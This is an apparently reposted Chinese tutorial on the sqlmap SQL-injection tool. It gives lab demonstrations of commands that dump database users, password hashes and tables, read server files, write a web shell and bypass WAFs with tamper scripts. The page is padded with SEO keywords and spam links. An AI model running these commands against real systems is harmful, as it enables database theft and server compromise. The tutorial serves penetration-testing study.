网站建设中请期待,网页设计实训报告任务书,域名信息查询系统,wordpress tag做专题sqlmap Sqlmap是一个开源的渗透测试工具#xff0c;可以用来自动化的检测#xff0c;利用SQL注入漏洞#xff0c;获取数据库服务器的权限。目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库 Sqlmap采用了以下5种独特的SQ…sqlmap Sqlmap是一个开源的渗透测试工具可以用来自动化的检测利用SQL注入漏洞获取数据库服务器的权限。目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库 Sqlmap采用了以下5种独特的SQL注入技术 基于布尔类型的盲注即可以根据返回页面判断条件真假的注入基于时间的盲注即不能根据页面返回的内容判断任何信息要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断基于报错注入即页面会返回错误信息或者把注入的语句的结果直接返回到页面中联合查询注入在可以使用Union的情况下注入堆查询注入可以同时执行多条语句时的注入
基础参数
测试信息展示(-v 0)(mozhe靶场) 测试时可以使用 -v 等级 参数指定回显信息的复杂度其范围为[0~6]共有 7 个等级默认为 1 0只显示python错误以及严重的信息
1同时显示基本信息和警告信息默认
2同时显示debug信息
3同时显示注入的payload
4同时显示HTTP请求
5同时显示HTTP响应头
6同时显示HTTP响应页面如果想看到 sqlmap 发送的测试 payload 最好的等级就是3没思路时也可以借鉴工具构造的payload扩展思路python sqlmap.py -u http://219.153.49.228:45269/new_list.asp?id2 -v 3 使用–batch会自动选项默认的选项执行但可能会触发防火墙的告警 python sqlmap.py -u http://127.0.0.1/sqlb/Less-1/?id1 --batch
根据文本判断是否存在注入(-r 1.txt)(mozhe靶场) 将一个 HTTP 请求保存在文件中使用参数-r加载该文件其会解析该文件并发送请求一般用于表单提交时的注入等发送数据复杂时的情况 当请求是HTTPS的时候需要配合–force-ssl参数来使用或者可以在host头后面加上443 将数据包存放到txt文件中随后使用命令执行 python sqlmap.py -r zxgtwy.txt
探测等级选择(–level 1) 参数–level 等级 可以选择需要执行的测试等级一共有5个等级[1-5]不加 level 默认是1。5级包含的 Payload 最多会自动破解出 cookie、XFF等头部注入。等级越高执行的时间也会增长 该参数会影响测试的注入点GET和POST的数据都会进行测试HTTP cookie 在 level 为2时就会测试HTTP User-Agent/Referer 头在 level 为3时就会测试。level为5时会检测Host是否存在注入漏洞。当在不确定哪个 payload 或参数为注入点时为了保证全面性建议使用高的 level 值 python sqlmap.py -u http://127.0.0.1/sqlb/Less-19/ --level 3
运行自定义SQL语句(–sql-shell) 使用–sql-shell参数可以开启交互式SQL语句执行环境 python sqlmap.py -u http://127.0.0.1/sqlb/Less-1/?id1 --sql-shell
获得数据库管理员角色(–roles) 使用–roles参数可以列出数据库管理员角色如果当前用户有权限读取包含所有用户的表输入该命令会列举出每个用户的角色也可以用-U参数指定想看哪个用户的角色 python sqlmap.py -u http://127.0.0.1/sqlb/Less-1/?id1 --roles
上传文件到目标系统(–file-write --file-dest)(本机演示) 使用–file-write --file-dest参数可以上传文件到目标系统(一般用来写shell仅当数据库管理系统是MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有写入文件相关权限),上传的文件可以是文本也可以是二进制文件。其中 --file-dest后跟目标机地址–file-write后跟本机要上传文件的地址 python sqlmap.py -u http://127.0.0.1/sqlb/Less-1/?id1 --file-write D:\1.txt --file-dest D:\phpstudy_pro\WWW\zxgtwy.php
获取多个扫描目标(-m 文件路径) 使用-m参数会使SQLmap将文本中的url一个一个检测 python sqlmap.py -m D:\dizhi.txt
选择测试参数(-p与–skip) 使用-p参数可以指定需要测试的参数且不受–level限制 python sqlmap.py -u http://127.0.0.1/sqlb/Less-1/?id1 -p id 使用–skip参数可以指定不需要测试的参数 比如当–level 3时不想测试user-agentpython sqlmap.py -u http://127.0.0.1/sqlb/Less-1/?id1 --level 3 --skipuser-agent 指定参数时还可以用 *在参数上加 *与 -p效果相同只不过 *还可以支持伪静态页面比如/user/2/这个伪静态页面参数为2则可以使用如下方法测试 python sqlmap.py -u http://127.0.0.1/user/1*/
并发线程测试(–threads) 当测试量大时可使用参数–threads来增加线程数加快速度最多设置10 python sqlmap.py -u http://127.0.0.1/sqlb/Less-19/ --datauname123passwd123submitSubmit --threads 5
风险等级设置(–risk) 参数–risk可设置风险等级共有1~4共四级默认为1,不推荐使用 risk 3的风险等级 风险等级2添加了基于时间的注入测试等级3怎加 OR语句的SQL测试。若注入点是在 UPDATE 语句中使用 OR 测试可能会修改整个表的数据 python sqlmap.py -u http://127.0.0.1/sqlb/Less-10/?id1 --risk 2
列举数据库相关信息(-b或–banner) 参数-b或–banner可以列举数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息 python sqlmap.py -u http://127.0.0.1/sqlb/Less-1/?id1 -b
扫描方案
测试漏洞 对于直接访问的网站使用-u指定其URL即可测试是否有注入的可能(用sqli靶场演示) python sqlmap.py -u http://127.0.0.1/sqlb/Less-1/?id1中间会有各种提示选项根据自身需求选择即可最终结果如下 对于登陆后才可访问到的信息使用–cookie添加cookie用dvwa靶场演示 python sqlmap.py -u http://127.0.0.1/DVWA/vulnerabilities/sqli/?id1 --dataSubmitSubmit# --cookie你的cookie值中间会有各种提示选项根据自身需求选择即可最终结果如下 对于POST类型则需要在–data中添加信息用sqli靶场演示 python sqlmap.py -u http://127.0.0.1/sqlb/Less-11/ --datauname1passwd1submitSubmit
获取信息mozhe靶场 使用–users查看数据库用户 python sqlmap.py -u http://124.70.22.208:49816/new_list.php?id1 --users 使用–passwords查看数据库用户密码 python sqlmap.py -u http://124.70.22.208:49816/new_list.php?id1 --passwords 使用–current-user查看当前用户 python sqlmap.py -u http://124.70.22.208:49816/new_list.php?id1 --current-user 使用–is-dba判断当前用户是否具有管理员权限 python sqlmap.py -u http://124.70.22.208:49816/new_list.php?id1 --is-dba 使用–dbs查看所有数据库 python sqlmap.py -u http://124.70.22.208:49816/new_list.php?id1 --dbs 使用–current-db查看当前数据库 python sqlmap.py -u http://124.70.22.208:49816/new_list.php?id1 --current-db 使用-D指定数据库–tables获取表信息 python sqlmap.py -u http://124.70.22.208:49816/new_list.php?id1 -D mozhe_Discuz_StormGroup --tables 使用-D指定数据库-T指定表–columns获取列信息 python sqlmap.py -u http://124.70.22.208:49816/new_list.php?id1 -D mozhe_Discuz_StormGroup -T StormGroup_member --columns 配合–dump-all获取所有信息 -D xx -T xxx --dump-all 可爆出数据库xx中的xxx表中的所有数据-D xx --dump-all 可爆出数据库xx中的所有数据–dump-all 可爆出当前数据库中的所有数据python sqlmap.py -u http://124.70.22.208:49816/new_list.php?id1 -D mozhe_Discuz_StormGroup -T StormGroup_member --dump-all
绕过WAF(–tamper脚本)
可配合前篇文章介绍的waf00f来判断对方有无防火墙使用waf00f得知防火墙类型后可配合–tamper脚本来绕过在tamper下有官方提供的脚本 python sqlmap.py -u 地址 --tamper脚本
读取服务器文件(–file-read 文件) MySQL、PostgreSQL或SQL Server在当前用户权限足够时可读取指定文件 例如读取目标服务器D盘的gt.txt文件 python sqlmap.py -u http://127.0.0.1/sqlb/Less-1/?id1 --file-read D:/gt.txt
其它参数
参数–force-ssl强制使用 SSL在测试 HTTPS 的网站时推荐使用该参数可能会测出未加该参数时测不出的注入参数-l 值可以从Burp或者WebScarab代理中获取日志进行测试参数–user-agent 值 可以修改请求中的头部信息–random-agent可以随机从目录下的user-agents.txt中获取头部参数–host 值可以设置host头的值参数–referer 值 可以伪造referer信息参数–headers 值 可以自定义头部值参数–proxy 代理地址 可以设置代理信息当代理需要认证可以在使用–proxy-cred username:password参数–delay 时间可以设定两个请求间的延迟默认无延迟单位是秒参数–timeout 时间可以设定请求判断超时的时间默认为30秒参数–retries 参数可以设定重新尝试连接次数默认是3次参数–safe-url 地址提供一个安全不错误的连接每隔一段时间都会去访问一下参数–safe-freq 地址提供一个安全不错误的连接每次测试请求之后都会请求一次安全连接参数–keep-alive使得sqlmap使用持久连接参数–null-connection可以用在盲注来区分true/false响应参数–count可以获取表中的数据个数而不是内容参数–common-tables是当–tables无法获取到数据库的表时可以使用此参数暴力破解表名参数–common-columns是当–columns无法获取到数据库的列名时可以使用此参数暴力破解参数–udf-inject–shared-lib来完成用户自定义函数注入参数–os-shell在得知网站绝对路径后可以写入shell参数–beep为发现sql注入时发出蜂鸣声参数-hpp可以使用HTTP参数污染参数–identify-waf可以测试WAF/IPS/IDS保护方便用户做出绕过方式参数–check-waf可以测试WAF/IPS/IDS保护方便用户做出绕过方式参数–wizard是面向初级用户的参数会教如何输入
脚本介绍
脚本名称注释通过测试的数据库0eunion.py使用e0UNION替换UNIONMySQL、MsSQLapostrophemask.py将单引号字符(‘)替换为UTF-8全宽对应字符(例如’ - %EF%BC%87)可用于单引号被过滤情况下apostrophenullencode.py将单引号字符(‘)替换为非法的双unicode对应字符(例如’ - %00%27)。就是将单引号替换为宽字节 unicode 字符可用于过滤了单引号的情况appendnullbyte.py在payload后追加一个空字符Microsoft Accessbase64encode.py将payload中所有字符替换成base64编码格式between.py将大于符号和等号用BETWEEN语句替换可用于过滤了大于符号和等号的情况Microsoft SQL Server 2005 |MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0binary.py尝试将关键字转换为二进制来绕过检测MySQLbluecoat.py将SQL语句后的空格字符替换为随机的有效空白字符。之后用LIKE操作符替换字符’’MySQL 5.1, SGOSchardoubleencode.py对给定payload进行两次url编码(不处理已经编码的字符)charencode.py对给定payload进行url编码(不处理已经编码的字符)Microsoft SQL Server 2005 |MySQL 4, 5.0 and 5.5 |Oracle 10g|PostgreSQL 8.3, 8.4, 9.0charunicodeencode.py进行unicode编码需要ASP|ASP.netMicrosoft SQL Server 2000|Microsoft SQL Server 2005|MySQL 5.1.56|PostgreSQL 9.0.3charunicodeescape.py以指定的payload反向编码未编码的字符(不处理已经编码的字符)commalesslimit.py将MySQL payload中LIMIT语句替换LIMIT X,YLIMIT Y OFFSET XMySQL 5.0 and 5.5commalessmid.py将MySQL payload的MID(X,Y, Z)替换成MID(X FROM Y FOR Z)MySQL 5.0 and 5.5commentbeforeparentheses.py在括号前加上/**/内联注释Microsoft SQL Server|MySQL|Oracle|PostgreSQLconcat2concatws.py将MySQL payload中CONCAT语句替换CONCAT(X,Y)CONCAT_WS(MID(CHAR(0), 0, 0), X,Y)MySQL 5.0decentities.py使用十进制HTML编码编码所有字符dunion.py将 UNION用DUNION替代Oracleequaltolike.py使用“LIKE”运算符替换全部等于号“”Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5equaltorlike.py使用“RLIKE”运算符替换全部等于号“”MySQL 4, 5.0 and 5.5escapequotes.py斜杠转义单引号和双引号 - \greatest.py将大于运算符(‘’)替换为对应的’GREATEST’MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0halfversionedmorekeywords.py当数据库为MySQL时绕过防火墙在每个关键字之前添加(MySQL)版本注释MySQL 4.0.18, 5.0.22hex2char.py当数据库为MYsql时将0x 用CONCAT(CHAR(),…)替代MySQL 4, 5.0 and 5.5hexentities.py将所有字符按照十六进制HTML字符实体编码htmlencode.py将payload中非字母非数字字符进行HTML编码if2case.py将“IFABC”替换为“CASE WHENATHENBELSECEND”MySQL 5.0 and 5.5|SQLite (possibly)|SAP MaxDB (possibly)ifnull2casewhenisnull.py将 ‘IFNULL(A, B)’ 替换为 ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’MySQL 5.0 and 5.5|SQLite (possibly)|SAP MaxDB (possibly)ifnull2ifisnull.py将’IFNULL(A, B)替换为 ‘IF(ISNULL(A), B, A)’MySQL 5.0 and 5.5|SQLite (possibly)| SAP MaxDB (possibly)informationschemacomment.py在information_schema后面加上内联注释/**/MYSQLleast.py将 替换成’LEAST’MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0lowercase.py用小写值替换每个关键字字符Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0luanginx.pyLUA-Nginx WAFs Bypassmisunion.py将UNION 用 -.1UNION替换MySQLmodsecurityversioned.py过滤空格时用注释包含完整的查询MySQL 5.0modsecurityzeroversioned.py用当中带有数字零的注释包围完整的查询MySQL 5.0multiplespaces.py添加多个空格在SQL关键字周围ord2ascii.py用ASCII()调用替换ORD()MySQLoverlongutf8.py将给定Payload中的所有非字母数字字符转换为超长UTF8不处理已编码字符overlongutf8more.py将给定Payload中的所有字符转换为超长UTF8不处理已编码字符percentage.py每个字符前添加%Requirement: ASPMicrosoft SQL Server 2000, 2005|MySQL 5.1.56, 5.5.11|PostgreSQL 9.0plus2concat.py将加号替换为concat函数Microsoft SQL Server 2012plus2fnconcat.py将加号替换为ODBC函数{fn CONCAT()}Microsoft SQL Server 2008randomcase.py随机转换每个关键字字符的大小写Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0|SQLite 3randomcomments.py向SQL关键字中随机插入注释schemasplit.py将FROM模式标识符例如“testdb.users”与空白例如“Testdb 9.e.users”分开MySQLscientific.py滥用MySQL科学符号MySQLsleep2getlock.py将“SLEEP5”等实例替换为像“GET_LOCK(‘ETgP’5”MySQL 5.0 and 5.5sp_password.py该脚本的作用是在payload的后面添加关键字“sp_password”使得查询不会记录到日志中MSSQLspace2comment.py用注释/**/替换空格字符Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0space2dash.py将空格替换为“–”加随机字符串和一个换行符替换MSSQL|SQLitespace2hash.py将空格替换为“#”加随机字符串和一个换行符替换MySQL 4.0, 5.0space2morecomment.py将空格用/**_**/替换MySQL 5.0 and 5.5space2morehash.py将空格用“#”加一个随机字符串再加一个换行符替换MySQL 5.1.13MySQL 5.1.41space2mssqlblank.py空格替换为其它空符号Microsoft SQL Server 2000|Microsoft SQL Server 2005space2mssqlhash.py将空格用“#”和一个换行符替换MSSQL|MySQLspace2mysqlblank.py用一组有效的备选字符集当中的随机空白符替换空格符MySQL 5.1space2mysqldash.py替换空格字符为’–‘后跟一个’\n’MySQL|MSSQLspace2plus.py用加号“”替换空格符space2randomblank.py用一组有效的备选字符集当中的随机空白符替换空格符Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0substring2leftright.py用LEFT和RIGHT替换PostgreSQL的SUBSTRINGPostgreSQL 9.6.12symboliclogical.pyAND和OR替换为和||unionalltounion.py将union all select替换为union selectunmagicquotes.py宽字符绕过GPCuppercase.py将关键字全部替换为大写值Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0varnish.py添加一个HTTP头“X-originating-IP”来绕过WAFversionedkeywords.py用MySQL注释包围每个非函数关键字MySQL 4.0.18, 5.1.56, 5.5.11versionedmorekeywords.py用MySQL注释包围每个关键字MySQL 5.1.13MySQL 5.1.56, 5.5.11xforwardedfor.py添加伪造的HTTP头“X-Forwarded-For”
参考链接
https://www.cnblogs.com/bmjoker/p/9326258.html | | versionedkeywords.py | 用MySQL注释包围每个非函数关键字 | MySQL 4.0.18, 5.1.56, 5.5.11 | | versionedmorekeywords.py | 用MySQL注释包围每个关键字MySQL 5.1.13 | MySQL 5.1.56, 5.5.11 | | xforwardedfor.py | 添加伪造的HTTP头“X-Forwarded-For” | |
参考链接
https://www.cnblogs.com/bmjoker/p/9326258.htmlhttps://blog.csdn.net/Gherbirthday0916/article/details/126857683 文章转载自: http://www.morning.fqsxf.cn.gov.cn.fqsxf.cn http://www.morning.ygpdm.cn.gov.cn.ygpdm.cn http://www.morning.rzmzm.cn.gov.cn.rzmzm.cn http://www.morning.smdiaosu.com.gov.cn.smdiaosu.com http://www.morning.kzhxy.cn.gov.cn.kzhxy.cn http://www.morning.xrwtk.cn.gov.cn.xrwtk.cn http://www.morning.ylyzk.cn.gov.cn.ylyzk.cn http://www.morning.srsln.cn.gov.cn.srsln.cn http://www.morning.nypsz.cn.gov.cn.nypsz.cn http://www.morning.wyctq.cn.gov.cn.wyctq.cn http://www.morning.jhqcr.cn.gov.cn.jhqcr.cn http://www.morning.ypqwm.cn.gov.cn.ypqwm.cn http://www.morning.knlyl.cn.gov.cn.knlyl.cn http://www.morning.jrksk.cn.gov.cn.jrksk.cn http://www.morning.tsyny.cn.gov.cn.tsyny.cn http://www.morning.qnbgh.cn.gov.cn.qnbgh.cn http://www.morning.rwyd.cn.gov.cn.rwyd.cn http://www.morning.tckxl.cn.gov.cn.tckxl.cn http://www.morning.qrzqd.cn.gov.cn.qrzqd.cn http://www.morning.gmjkn.cn.gov.cn.gmjkn.cn http://www.morning.ypbp.cn.gov.cn.ypbp.cn http://www.morning.mzzqs.cn.gov.cn.mzzqs.cn http://www.morning.dangaw.com.gov.cn.dangaw.com http://www.morning.bmzxp.cn.gov.cn.bmzxp.cn http://www.morning.cypln.cn.gov.cn.cypln.cn http://www.morning.mwnch.cn.gov.cn.mwnch.cn http://www.morning.sgwr.cn.gov.cn.sgwr.cn http://www.morning.yuanshenglan.com.gov.cn.yuanshenglan.com http://www.morning.nxpqw.cn.gov.cn.nxpqw.cn http://www.morning.mxhgy.cn.gov.cn.mxhgy.cn http://www.morning.mnclk.cn.gov.cn.mnclk.cn http://www.morning.zqfz.cn.gov.cn.zqfz.cn http://www.morning.wcft.cn.gov.cn.wcft.cn http://www.morning.rwlnk.cn.gov.cn.rwlnk.cn http://www.morning.pshpx.cn.gov.cn.pshpx.cn http://www.morning.xtqr.cn.gov.cn.xtqr.cn http://www.morning.tfwsk.cn.gov.cn.tfwsk.cn http://www.morning.sooong.com.gov.cn.sooong.com http://www.morning.wslr.cn.gov.cn.wslr.cn http://www.morning.plfrk.cn.gov.cn.plfrk.cn http://www.morning.kgsws.cn.gov.cn.kgsws.cn http://www.morning.wjfzp.cn.gov.cn.wjfzp.cn http://www.morning.zlbjx.cn.gov.cn.zlbjx.cn http://www.morning.ybgt.cn.gov.cn.ybgt.cn http://www.morning.qytyt.cn.gov.cn.qytyt.cn http://www.morning.wdqhg.cn.gov.cn.wdqhg.cn http://www.morning.zbqry.cn.gov.cn.zbqry.cn http://www.morning.bmnm.cn.gov.cn.bmnm.cn http://www.morning.yrxcn.cn.gov.cn.yrxcn.cn http://www.morning.ypzsk.cn.gov.cn.ypzsk.cn http://www.morning.iterlog.com.gov.cn.iterlog.com http://www.morning.nkkpp.cn.gov.cn.nkkpp.cn http://www.morning.yfwygl.cn.gov.cn.yfwygl.cn http://www.morning.ztcwp.cn.gov.cn.ztcwp.cn http://www.morning.hfxks.cn.gov.cn.hfxks.cn http://www.morning.mcjrf.cn.gov.cn.mcjrf.cn http://www.morning.nzlsm.cn.gov.cn.nzlsm.cn http://www.morning.drmbh.cn.gov.cn.drmbh.cn http://www.morning.fmrwl.cn.gov.cn.fmrwl.cn http://www.morning.tmsxn.cn.gov.cn.tmsxn.cn http://www.morning.hnhgb.cn.gov.cn.hnhgb.cn http://www.morning.txqgd.cn.gov.cn.txqgd.cn http://www.morning.mxnrl.cn.gov.cn.mxnrl.cn http://www.morning.bqqzg.cn.gov.cn.bqqzg.cn http://www.morning.mtmph.cn.gov.cn.mtmph.cn http://www.morning.cwcdr.cn.gov.cn.cwcdr.cn http://www.morning.pswqx.cn.gov.cn.pswqx.cn http://www.morning.fkcjs.cn.gov.cn.fkcjs.cn http://www.morning.ntgsg.cn.gov.cn.ntgsg.cn http://www.morning.huarma.com.gov.cn.huarma.com http://www.morning.yggdq.cn.gov.cn.yggdq.cn http://www.morning.lsssx.cn.gov.cn.lsssx.cn http://www.morning.lbrwm.cn.gov.cn.lbrwm.cn http://www.morning.yixingshengya.com.gov.cn.yixingshengya.com http://www.morning.rsqpc.cn.gov.cn.rsqpc.cn http://www.morning.trrrm.cn.gov.cn.trrrm.cn http://www.morning.ntzbr.cn.gov.cn.ntzbr.cn http://www.morning.pypbz.cn.gov.cn.pypbz.cn http://www.morning.pjrql.cn.gov.cn.pjrql.cn http://www.morning.rjmb.cn.gov.cn.rjmb.cn